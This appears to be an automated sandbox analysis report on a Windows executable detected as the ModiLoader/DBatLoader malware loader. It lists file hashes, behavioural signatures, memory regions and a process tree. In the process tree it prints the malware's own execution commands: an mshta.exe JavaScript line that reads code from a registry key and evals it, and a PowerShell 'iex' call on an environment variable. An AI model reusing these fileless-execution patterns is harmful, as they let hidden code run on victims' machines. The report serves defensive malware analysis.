Analysis

  • max time kernel
    145s
  • max time network
    128s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240802-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
  • submitted
    14/09/2024, 18:48

General

  • Target

    e0ced5e9d4ed7f8ea0ba5e616df4ab4a_JaffaCakes118.exe

  • Size

    240KB

  • MD5

    e0ced5e9d4ed7f8ea0ba5e616df4ab4a

  • SHA1

    61933f101244016284f26eb8ed50bbeaef2d0bc8

  • SHA256

    b70469d8c92cf656312410cb70856052a1a3a5acf86c6ce56886e0cb0af1689a

  • SHA512

    ac34c1aa5ce669e9bcf87e25130d389f7c67bc1211542f8b2caecb68e8960c6cb21bb4aaf37b9425e984737df90ae67fb6e56e833b35785ebeb3639029a349f4

  • SSDEEP

    6144:6KzkPr4yfkDAp18uJmp8DO9AHYPvRV/5HBQqjqRY2:6Kmr4yfkDAb8r2Oyaj/vqRY2

Malware Config

Signatures

  • ModiLoader, DBatLoader

    ModiLoader is a Delphi loader that misuses cloud services to download other malicious families.

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • ModiLoader Second Stage 11 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Using powershell.exe command.

  • Suspicious use of SetThreadContext 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Modifies Internet Explorer settings 1 TTPs 6 IoCs
  • Suspicious behavior: EnumeratesProcesses 3 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 12 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\e0ced5e9d4ed7f8ea0ba5e616df4ab4a_JaffaCakes118.exe
    "C:\Users\Admin\AppData\Local\Temp\e0ced5e9d4ed7f8ea0ba5e616df4ab4a_JaffaCakes118.exe"
    1⤵
    • Suspicious use of SetThreadContext
    • System Location Discovery: System Language Discovery
    • Suspicious use of WriteProcessMemory
    PID:1048
    • C:\Users\Admin\AppData\Local\Temp\e0ced5e9d4ed7f8ea0ba5e616df4ab4a_JaffaCakes118.exe
      C:\Users\Admin\AppData\Local\Temp\e0ced5e9d4ed7f8ea0ba5e616df4ab4a_JaffaCakes118.exe
      2⤵
      • System Location Discovery: System Language Discovery
      PID:4876
  • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --field-trial-handle=4372,i,3861745594156495651,17595114179815238301,262144 --variations-seed-version --mojo-platform-channel-handle=2508 /prefetch:8
    1⤵
      PID:1564
    • C:\Windows\system32\mshta.exe
      "C:\Windows\system32\mshta.exe" javascript:qQBxA8XQ="CMdnN";qf5=new%20ActiveXObject("WScript.Shell");zy6e5yl="4UqLPec";vJs97V=qf5.RegRead("HKLM\\software\\Wow6432Node\\6ARFD9X2\\2AcN7vFYi");w0xfIoS="53oY4Xj";eval(vJs97V);P6hVecpn="GG";
      1⤵
      • Process spawned unexpected child process
      • Checks computer location settings
      • Modifies Internet Explorer settings
      • Suspicious use of WriteProcessMemory
      PID:4504
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" iex $env:elyximqu
        2⤵
        • Command and Scripting Interpreter: PowerShell
        • System Location Discovery: System Language Discovery
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:1016

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

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    Downloads

    • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_izjw0mu4.uq0.ps1

      Filesize

      60B

      MD5

      d17fe0a3f47be24a6453e9ef58c94641

      SHA1

      6ab83620379fc69f80c0242105ddffd7d98d5d9d

      SHA256

      96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

      SHA512

      5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

    • memory/1016-13-0x00000000047B0000-0x00000000047E6000-memory.dmp

      Filesize

      216KB

    • memory/1016-31-0x0000000006090000-0x00000000060AA000-memory.dmp

      Filesize

      104KB

    • memory/1016-30-0x00000000073B0000-0x0000000007A2A000-memory.dmp

      Filesize

      6.5MB

    • memory/1016-29-0x0000000005BB0000-0x0000000005BFC000-memory.dmp

      Filesize

      304KB

    • memory/1016-28-0x0000000005B80000-0x0000000005B9E000-memory.dmp

      Filesize

      120KB

    • memory/1016-27-0x0000000005690000-0x00000000059E4000-memory.dmp

      Filesize

      3.3MB

    • memory/1016-17-0x0000000005620000-0x0000000005686000-memory.dmp

      Filesize

      408KB

    • memory/1016-16-0x00000000055B0000-0x0000000005616000-memory.dmp

      Filesize

      408KB

    • memory/1016-15-0x0000000004DD0000-0x0000000004DF2000-memory.dmp

      Filesize

      136KB

    • memory/1016-14-0x0000000004F10000-0x0000000005538000-memory.dmp

      Filesize

      6.2MB

    • memory/4876-8-0x0000000000AD0000-0x0000000000BA6000-memory.dmp

      Filesize

      856KB

    • memory/4876-11-0x0000000000AD0000-0x0000000000BA6000-memory.dmp

      Filesize

      856KB

    • memory/4876-10-0x0000000000AD0000-0x0000000000BA6000-memory.dmp

      Filesize

      856KB

    • memory/4876-5-0x0000000000AD0000-0x0000000000BA6000-memory.dmp

      Filesize

      856KB

    • memory/4876-6-0x0000000000AD0000-0x0000000000BA6000-memory.dmp

      Filesize

      856KB

    • memory/4876-7-0x0000000000AD0000-0x0000000000BA6000-memory.dmp

      Filesize

      856KB

    • memory/4876-0-0x0000000000400000-0x000000000043A000-memory.dmp

      Filesize

      232KB

    • memory/4876-9-0x0000000000AD0000-0x0000000000BA6000-memory.dmp

      Filesize

      856KB

    • memory/4876-4-0x0000000000400000-0x000000000043A000-memory.dmp

      Filesize

      232KB

    • memory/4876-3-0x0000000000400000-0x000000000043A000-memory.dmp

      Filesize

      232KB

    • memory/4876-2-0x0000000000400000-0x000000000043A000-memory.dmp

      Filesize

      232KB